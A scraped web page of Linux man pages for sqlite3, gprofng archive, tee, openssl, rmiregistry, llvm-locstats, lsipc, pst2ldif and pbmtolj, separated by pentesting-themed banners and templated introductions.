SQLite version 3.43.0 2023-08-11 17:45:23
Enter “.help” for usage hints.
sqlite> create table memos(text, priority INTEGER);
sqlite> insert into memos values(‘deliver project description’, 10);
sqlite> insert into memos values(’lunch with Christine’, 100);
sqlite> select * from memos;
deliver project description|10
lunch with Christine|100
sqlite>

If no database name is supplied, the ATTACH sql command can be used to attach to existing or create new database files. ATTACH can also be used to attach to multiple databases within the same interactive session. This is useful for migrating data between databases, possibly changing the schema along the way.

Optionally, a SQL statement or set of SQL statements can be supplied as a single argument. Multiple statements should be separated by semi-colons.

For example:

$ sqlite3 -line mydata.db ‘select * from memos where priority > 20;’
text = lunch with Christine
priority = 100

SQLITE META-COMMANDS

The interactive interpreter offers a set of meta-commands that can be used to control the output format, examine the currently attached database files, or perform administrative operations upon the attached databases (such as rebuilding indices). Meta-commands are always prefixed with a dot (.).

A list of available meta-commands can be viewed at any time by issuing the ‘.help’ command. For example:

sqlite> .help

The available commands differ by version and build options, so they are not listed here. Please refer to your local copy for all available options.

INIT FILE

sqlite3 reads an initialization file to set the configuration of the interactive environment. Throughout initialization, any previously specified setting can be overridden. The sequence of initialization is as follows:

o The default configuration is established as follows:

mode            = LIST
separator       = "|"
main prompt     = "sqlite> "
continue prompt = "   ...> "
|cc .

o If the file ${XDG_CONFIG_HOME}/sqlite3/sqliterc or ~/.sqliterc exists, the first of those to be found is processed during startup. It should generally only contain meta-commands.

o If the -init option is present, the specified file is processed.

o All other command line options are processed.

SEE ALSO

https://sqlite.org/cli.html
https://sqlite.org/fiddle (a WebAssembly build of the CLI app)
The sqlite3-doc package.

AUTHOR

This manual page was originally written by Andreas Rottmann <[email protected]>, for the Debian GNU/Linux system (but may be used by others). It was subsequently revised by Bill Bumgarner <[email protected]>, Laszlo Boszormenyi <[email protected]>, and the sqlite3 developers.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

546 - Linux cli command x86_64-linux-gnu-gp-archive

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gp-archive and provides detailed information about the command x86_64-linux-gnu-gp-archive, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gp-archive.

NAME 🖥️ x86_64-linux-gnu-gp-archive 🖥️

archive - Archive gprofng experiment data

SYNOPSIS

gprofng archive [option(s)] experiment

DESCRIPTION

Archive the associated application binaries and source files in a gprofng experiment to make it self contained and portable.

By default, the binaries are archived as part of the data collection, but the application source files are not archived. Use this tool to change this and afterwards archive additional components.

This tool has to be executed on the same system where the profiling data was recorded.

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

-a {off | on | ldobjects | src | usedldobjects | used[src]}
Specify archiving of binaries and other files. In addition to disable this feature (off), or enable archiving of all loadobjects and sources (on), the other choices support a more refined selection. All of these choices enable archiving, but the keyword controls what exactly is selected: all load objects (ldobjects), all source files (src), the loadobjects associated with a program counter (usedldobjects), or the source files associated with a program counter (used[src]). The default is -a ldobjects.

-d path
The path is the absolute path to a common archive, which is a directory that contains archived files. If the directory does not exist, then it will be created. Files are saved in the common archive directory, and a symbolic link is created in the experiment archive.

-F
Force writing, or rewriting of .archive files. All archived files will be removed and recreated, except if the -n or -m option is used, or if the experiment is a subexperiment.

-m regex
Archive only those source, object, and debug info files whose full path name matches the given POSIX compliant regex regular expression.

-n
Archive the named experiment only, not any of its descendants.

-q
Do not write any warnings to stderr. Warnings are incorporated into the .archive file in the experiment directory. They are shown in the output of the gprofng display text command.

-r path
This option specifies the location of a common archive. The value is the relative path to a common archive, which is a directory that contains archived files. If the directory does not exist, then it will be created. Files are saved in the common archive directory, and a symbolic link is created in the experiment archive.

-s selection
Specify archiving of source files. The allowed values for selection are:

no
Do not archive any source files.

all
Archive all source and object files that can be found.

used[src]
Archive source and object files for functions against which data was recorded in the experiment, and that can be found.

By default, application source files are not archived into the experiment. If the -s all, or -s used option is used, sources and object files are archived. These options also ensure that source files are available in the experiment, even if the original source files have been modified, or are inaccessible afterwards. In case archive files cannot be found, use the addpath, or pathmap command, or both, in an .er.rc file to specify the location of the missing file(s).

NOTES

  • Archiving of application binaries - By default, binaries are archived automatically when an experiment is created. However, archiving does not occur in one or more of the following circumstances:

    • If the profiled application is terminated before it exits normally.

    • If a running process is profiled.

    • If archiving is explicitly disabled when profiling. For example by using the -a off option on gprofng collect app.

    In these cases, gprofng archive must be run manually and on the same machine where the profiling data was recorded. Archiving of experiment data during the data collection process can be quite expensive. Especially if the experiment has many descendant processes. In such cases, a more efficient strategy is to use the -a off option when collecting the data. Once the collection has completed, the data can be archived using the -s all option. This saves all executables and source files in the experiment. If during the archiving there is an error message that an executable, or source file cannot be found, the addpath command to add the path to the missing file(s) can be included in the .er.rc file. After this command has been added, archive the experiment again. The archiving archiving can be repeated as many times as necessary to archive all files. Archiving should be done on the same system as was used to collect the experiment. If some files cannot be accessed from this system (e.g. sources or object files), then additional archiving can be done using another system that can access them. For example, the system where the application was built. Some Java applications store shared objects in jar files. By default, such shared objects are not automatically archived. To archive shared objects contained in jar files, make sure to include the addpath command in an .er.rc file. The addpath command should give the path to the jar file, including the jar file itself. The .er.rc file should be saved in the user home directory, or experiment parent directory.

  • Archiving of application sources - By default, application source files are not archived in the experiment. Execute the gprofng archive command with the -s all, or -s used option on each experiment to store source files in the experiment.

  • Automatic archiving of application sources - Environment variable GPROFNG_ARCHIVE may be set to automatically archive sources when the experiment has completed. This environment variable can contain -s and -m arguments, as pairs of argument and options, separated by one or more blanks. If more than one -s argument appears on the command line, the last one prevails. If -s is both passed on the command line, and set by the environment variable, the option from the environment variable prevails. Note that in case automatic source archiving during data collection has been enabled using either the GPROFNG_ARCHIVE variable, or the -a src, or -a usedsrc option, it is recommended to confirm that source files have been correctly resolved by executing the gprofng archive -s all, or gprofng archive -s used command.

  • The -d and -r options are mutually exclusive.

  • When using the -d or -r option, environment variable GPROFNG_ARCHIVE_COMMON_DIR can be used to specify the location of the common archive. This can be very convenient when using a script to profile applications.

  • If more than one -s option is given on the command line, or specified in the environment variable, the specified option for all must be the same. If not, gprofng archive exits with an error.

  • This tool does not work on experiments recorded with earlier versions of the tools. If invoked on such experiments, a warning is printed. Use the version of gprofng archive from the same release with which the experiment was recorded.

SEE ALSO

gprofng (1), gp-collect-app (1), gp-display-gui (1), gp-display-html (1), gp-display-src (1), gp-display-text (1)

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

547 - Linux cli command tee

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tee and provides detailed information about the command tee, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tee.

NAME 🖥️ tee 🖥️

read from standard input and write to standard output and files

SYNOPSIS

tee [OPTION]… [FILE]…

DESCRIPTION

Copy standard input to each FILE, and also to standard output.

-a, –append
append to the given FILEs, do not overwrite

-i, –ignore-interrupts
ignore interrupt signals

-p
operate in a more appropriate MODE with pipes.

–output-error[=MODE]
set behavior on write error. See MODE below

–help
display this help and exit

–version
output version information and exit

MODE determines behavior with write errors on the outputs:

warn
diagnose errors writing to any output

warn-nopipe
diagnose errors writing to any output not a pipe

exit
exit on error writing to any output

exit-nopipe
exit on error writing to any output not a pipe

The default MODE for the -p option is ‘warn-nopipe’. With “nopipe” MODEs, exit immediately if all outputs become broken pipes. The default operation when –output-error is not specified, is to exit immediately on error writing to a pipe, and diagnose errors writing to non pipe outputs.

AUTHOR

Written by Mike Parker, Richard M. Stallman, and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/tee>
or available locally via: info ‘(coreutils) tee invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

548 - Linux cli command primessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command primessl and provides detailed information about the command primessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the primessl.

NAME 🖥️ primessl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

549 - Linux cli command rmiregistry

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rmiregistry and provides detailed information about the command rmiregistry, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rmiregistry.

NAME 🖥️ rmiregistry 🖥️

create and start a remote object registry on the specified port on the current host

SYNOPSIS

rmiregistry [options] [port]

options
This represents the option for the rmiregistry command. See Options

port
The number of a port on the current host at which to start the remote object registry.

DESCRIPTION

The rmiregistry command creates and starts a remote object registry on the specified port on the current host. If the port is omitted, then the registry is started on port 1099. The rmiregistry command produces no output and is typically run in the background, for example:

rmiregistry &

A remote object registry is a bootstrap naming service that’s used by RMI servers on the same host to bind remote objects to names. Clients on local and remote hosts can then look up remote objects and make remote method invocations.

The registry is typically used to locate the first remote object on which an application needs to call methods. That object then provides application-specific support for finding other objects.

The methods of the java.rmi.registry.LocateRegistry class are used to get a registry operating on the local host or local host and port.

The URL-based methods of the java.rmi.Naming class operate on a registry and can be used to:

  • Bind the specified name to a remote object

  • Return an array of the names bound in the registry

  • Return a reference, a stub, for the remote object associated with the specified name

  • Rebind the specified name to a new remote object

  • Destroy the binding for the specified name that’s associated with a remote object

OPTIONS

-Joption
Used with any Java option to pass the option following the -J (no spaces between the -J and the option) to the Java interpreter.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

550 - Linux cli command llvm-locstats-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-locstats-16 and provides detailed information about the command llvm-locstats-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-locstats-16.

NAME 🖥️ llvm-locstats-16 🖥️

locstats - calculate statistics on DWARF debug location

SYNOPSIS

llvm-locstats [options] [filename]

DESCRIPTION

llvm-locstats works like a wrapper around llvm-dwarfdump. It parses llvm-dwarfdump statistics regarding debug location by pretty printing it in a more human readable way.

The line 0% shows the number and the percentage of DIEs with no location information, but the line 100% shows the information for DIEs where there is location information in all code section bytes (where the variable or parameter is in the scope). The line [50%,60%) shows the number and the percentage of DIEs where the location information is between 50 and 60 percentage of its scope covered.

OPTIONS

–only-variables
calculate the location statistics only for local variables

–only-formal-parameters
calculate the location statistics only for formal parameters

–ignore-debug-entry-values
ignore the location statistics on locations containing the debug entry values DWARF operation

–draw-plot
make histogram of location buckets generated (requires matplotlib)

–compare
compare the debug location coverage on two files provided, and draw a plot showing the difference (requires matplotlib)

EXIT STATUS

llvm-locstats returns 0 if the input file were parsed successfully. Otherwise, it returns 1.

EXAMPLE 1

Pretty print the location coverage on the standard output.

llvm-locstats a.out

  =================================================
            Debug Location Statistics
  =================================================
        cov%          samples       percentage(~)
  -------------------------------------------------
     0%                    1              16%
     (0%,10%)              0               0%
     [10%,20%)             0               0%
     [20%,30%)             0               0%
     [30%,40%)             0               0%
     [40%,50%)             0               0%
     [50%,60%)             1              16%
     [60%,70%)             0               0%
     [70%,80%)             0               0%
     [80%,90%)             1              16%
     [90%,100%)            0               0%
     100%                  3              50%
  =================================================
  -the number of debug variables processed: 6
  -PC ranges covered: 81%
  -------------------------------------------------
  -total availability: 83%
  =================================================

EXAMPLE 2

Generate a plot as an image file.

llvm-locstats –draw-plot file1.out

[image]

EXAMPLE 3

Generate a plot as an image file showing the difference in the debug location coverage.

llvm-locstats –compare file1.out file1.withentryvals.out

[image]

SEE ALSO

llvm-dwarfdump(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

551 - Linux cli command lsipc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsipc and provides detailed information about the command lsipc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsipc.

NAME 🖥️ lsipc 🖥️

show information on IPC facilities currently employed in the system

SYNOPSIS

lsipc [options]

DESCRIPTION

lsipc shows information on the System V inter-process communication facilities for which the calling process has read access.

OPTIONS

-i, –id id

Show full details on just the one resource element identified by id. This option needs to be combined with one of the three resource options: -m, -q or -s. It is possible to override the default output format for this option with the –list, –raw, –json or –export option.

-g, –global

Show system-wide usage and limits of IPC resources. This option may be combined with one of the three resource options: -m, -q or -s. The default is to show information about all resources.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

Resource options

-m, –shmems

Write information about active shared memory segments.

-q, –queues

Write information about active message queues.

-s, –semaphores

Write information about active semaphore sets.

Output formatting

-c, –creator

Show creator and owner.

-e, –export

Produce output in the form of key=“value” pairs. All potentially unsafe value characters are hex-escaped (\x<code>). See also option –shell.

-J, –json

Use the JSON output format.

-l, –list

Use the list output format. This is the default, except when –id is used.

-n, –newline

Display each piece of information on a separate line.

–noheadings

Do not print a header line.

–notruncate

Don’t truncate output.

-o, –output list

Specify which output columns to print. Use –help to get a list of all supported columns.

-b, –bytes

Print size in bytes rather than in human readable format.

-r, –raw

Raw output (no columnation).

-t, –time

Write time information. The time of the last control operation that changed the access permissions for all facilities, the time of the last msgsnd(2) and msgrcv(2) operations on message queues, the time of the last shmat(2) and shmdt(2) operations on shared memory, and the time of the last semop(2) operation on semaphores.

–time-format type

Display dates in short, full or iso format. The default is short, this time format is designed to be space efficient and human readable.

-P, –numeric-perms

Print numeric permissions in PERMS column.

-y, –shell

The column name will be modified to contain only characters allowed for shell variable identifiers. This is usable, for example, with –export. Note that this feature has been automatically enabled for –export in version 2.37, but due to compatibility issues, now it’s necessary to request this behavior by –shell.

EXIT STATUS

0

if OK,

1

if incorrect arguments specified,

2

if a serious error occurs.

HISTORY

The lsipc utility is inspired by the ipcs(1) utility.

AUTHORS

SEE ALSO

ipcmk(1), ipcrm(1), msgrcv(2), msgsnd(2), semget(2), semop(2), shmat(2), shmdt(2), shmget(2), sysvipc(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lsipc command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

552 - Linux cli command pst2ldif

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pst2ldif and provides detailed information about the command pst2ldif, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pst2ldif.

NAME 🖥️ pst2ldif 🖥️

extract contacts from an MS Outlook .pst file in .ldif format

SYNOPSIS

pst2ldif [-V] [-b ldap-base] [-c class] [-d debug-file] [-l extra-line] [-o] [-h] pstfilename

OPTIONS

-V

Show program version. Subsequent options are then ignored.

-b ldap-base

Sets the ldap base value used in the dn records. You probably want to use something like “o=organization, c=US”.

-c class

Sets the objectClass values for the contact items. This class needs to be defined in the schema used by your LDAP server, and at a minimum it must contain the ldap attributes given below. This option may be specified multiple times to generate entries with multiple object classes.

-d debug-file

Specify name of debug log file. The log file is now an ascii file, instead of the binary file used in previous versions.

-l extra-line

Specify an extra line to be added to each ldap entry. This option may be specified multiple times to add multiple lines to each ldap entry.

-o

Use the old ldap schema, rather than the default new ldap schema. The old schema generates multiple postalAddress attributes for a single entry. The new schema generates a single postalAddress (and homePostalAddress when available) attribute with $ delimiters as specified in RFC4517. Using the old schema also generates two extra leading entries, one for “dn:ldap base”, and one for “dn: cn=root, ldap base”.

-h

Show summary of options. Subsequent options are then ignored.

DESCRIPTION

pst2ldif reads the contact information from an MS Outlook .pst file and produces a .ldif file that may be used to import those contacts into an LDAP database. The following ldap attributes are generated for the old ldap schema:

cn

givenName

sn

personalTitle

company

mail

postalAddress

l

st

postalCode

c

homePhone

telephoneNumber

facsimileTelephoneNumber

mobile

description

The following attributes are generated for the new ldap schema:

cn

givenName

sn

title

o

mail

postalAddress

homePostalAddress

l

st

postalCode

c

homePhone

telephoneNumber

facsimileTelephoneNumber

mobile

description

labeledURI

COPYRIGHT

Copyright (C) 2008 by 510 Software Group <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

You should have received a copy of the GNU General Public License along with this program; see the file COPYING. If not, please write to the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.

VERSION

0.6.76

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

553 - Linux cli command pbmtolj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtolj and provides detailed information about the command pbmtolj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtolj.

.

NAME 🖥️ pbmtolj 🖥️

convert a PBM image to HP LaserJet format

SYNOPSIS

pbmtolj [-resolution N] [-float] [-noreset] [-packbits] [-delta] [-compress] [pbmfile] [-copies N]

You can abbreviate any option to its shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtolj reads a PBM image as input and produces HP LaserJet data as output. You can send this data to a LaserJet or DeskJet printer (at least some of them).

Each pixel in the input PBM image becomes one dot in the printed output. Therefore, you must make sure the width and height of the input are appropriate for the print resolution you choose and the print area you want. E.g. if you print at 300 dpi and want the image to print as 8 inches by 10, you must supply a PBM that is 2400 pixels wide by 3000 pixels high. You can adjust the size of the input with pamscale, pamstretch, pbmreduce, or pamenlarge.

The input may be a multi-image PBM stream. Each input image becomes a page of output. But before Netpbm 10.28 (June 2005), images after the first one are ignored.

Note that there is no ljtopbm tool.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtolj recognizes the following command line options:

-resolution
Specifies the resolution of the output device, in dpi. Another way to look at this is as a declaration of the resolution of the input image (PBM images don’t have inherent resolution). Typical values are 75, 100, 150, 300, and 600. The default is 75.

-float
Suppresses positioning commands. By default, pbmtolj places the sequence ESC & l 0 E in the output, which means to force the top margin to zero. With -float, pbmtolj omits that command.

-noreset
Prevents pbmtolj from writing the reset sequences to the beginning and end of the output file.

-packbits
Enables use of TIFF packbits compression.

-delta
Enables use of delta-between-rows compression.

-compress
Enables use of both TIFF packbits, and delta-between-rows compression.

-copies
Specifies the number of copies. The default is 1. This option controls the “number of copies” printer control; pbmtolj generates only one copy of the image.

SEE ALSO

pnmtopclxl(1) , ppmtolj(1) , pjtoppm(1) , ppmtopj(1) , ppmtopjxl(1) , thinkjettopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer and Michael Haberler. -float and -noreset options added by Wim Lewis. -delta, -packbits, and -compress options added by Dave Platt.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtolj.html

